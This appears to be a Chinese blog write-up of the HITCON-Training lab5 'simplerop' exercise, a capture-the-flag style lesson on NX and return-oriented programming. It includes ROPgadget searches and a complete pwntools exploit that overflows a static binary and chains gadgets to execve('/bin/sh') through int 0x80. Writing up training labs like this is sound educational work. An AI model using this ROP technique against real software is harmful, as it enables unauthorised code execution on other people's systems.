HITCON-Training lab5(自己構造rop)

看到靜態鏈接,一頓欣喜,直接ropchain生成,棧溢出找出來就ok啦?然後後來發現並沒有那麼簡單。。。

================================================================================================

【一段小插曲】

做題的時候突然很奇怪,nx開啓,堆棧不可執行,爲什麼可以執行pop這些指令,搜了一下。。不可執行的應該是shellcode,但是這些指令還是能用的,不然棧區還怎麼使用。。。

NX

  Non-Executable Memory,不可執行內存。瞭解 Linux 的都知道其文件有三種屬性,即 rwx,而 NX 即沒有 x 屬性。如果沒有 w 屬性,我們就不能向內存單元中寫入數據,如果沒有 x 屬性,寫入的 shellcode 就無法執行。所以,我們此時應該使用其他方法來 pwn 掉程序,其中最常見的方法爲 ROP (Return-Oriented Programming 返回導向編程),利用棧溢出在棧上佈置地址,每個內存地址對應一個 gadget,利用 ret 等指令進行銜接來執行某項功能,最終達到 pwn 掉程序的目的。

================================================================================================

 

輸入的字符串長度是100

而覆蓋量是0x20,emmm,這裏有個小bug?ida裏面是0x14+0x4=0x18,一開始沒有,所以我又cyclic字符串覆蓋了一下,發現是32,當然還是以調試爲準啦。。。。

 

本來是ROPgadget --binary simplerop --ropchain直接生成rop鏈,,,但是來了,因爲限制輸入最大爲100,覆蓋量又有32,所以太長了,怎麼辦???想哭,,只好自己找gadget了。。。

 

最後找到一個非常有用的指令,mov [eax],edx,能將edx的東西寫入eax指示的內存中

指令:ROPgadget --binary simplerop --only 'mov|ret' | grep edx

find:0x0807b301 : mov dword ptr [eax], edx ; ret

所以,我們考慮可以將8字節的‘/bin/sh’分成‘/bin’和‘/sh\x00’分別先用gadget送入bss內存,然後將bss地址作爲參數

指令:ROPgadget --binary simplerop --only 'pop|ret' | grep eax

find:0x080bae06 : pop eax ; ret

指令:ROPgadget --binary simplerop --only 'pop|ret' | grep edx

find:0x0806e82a : pop edx ; ret

find2:0x0806e850 : pop edx ; pop ecx ; pop ebx ; ret(用來傳遞參數值)

 

在ida裏面翻一下,還是比較方便找到bss段的起始地址的:

 

我們考慮調用execve(/bin/sh),execve的系統調用號是0x0b

int 0x80軟中斷是系統中斷,根據中斷號和相關寄存器設置調用對應系統函數

所以,我們先將execve四個參數佈置好,然後將0x0b放入eax,在執行int80即可

指令:ROPgadget --binary simplerop --only 'int'

find:0x080493e1 : int 0x80

 

所以,接下來我們可以編寫exp了

#!/usr/bin/python
#coding=utf-8
#coding這行確定編碼,防止報錯
from pwn import *
p=process('./simplerop')
bss_addr=0x080eaf80
mov_gadget=0x0807b301
pop_eax=0x080bae06
pop_edx=0x0806e82a
pop_edx_ecx_ebx=0x0806e850
int80=0x080493e1

payload = 'a'*32 
#將‘/bin’存入到bss段
payload += p32(pop_eax)+p32(bss_addr)
payload += p32(pop_edx)+'/bin'
payload += p32(mov_gadget)
#將‘/sh’存入到bss段,接在‘/bin’的後面
payload += p32(pop_eax)+p32(bss_addr+4)
payload += p32(pop_edx)+'/sh\x00'
payload += p32(mov_gadget)
#把execve的四個參數傳入寄存器
payload += p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)
#execve的系統調用號
payload += p32(pop_eax)+p32(0x0b)
#int中斷,執行系統調用
payload += p32(int80)

p.recvuntil(':')
p.sendline(payload)
p.interactive()

 

參考博客:https://www.jianshu.com/p/2cae38284bff

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章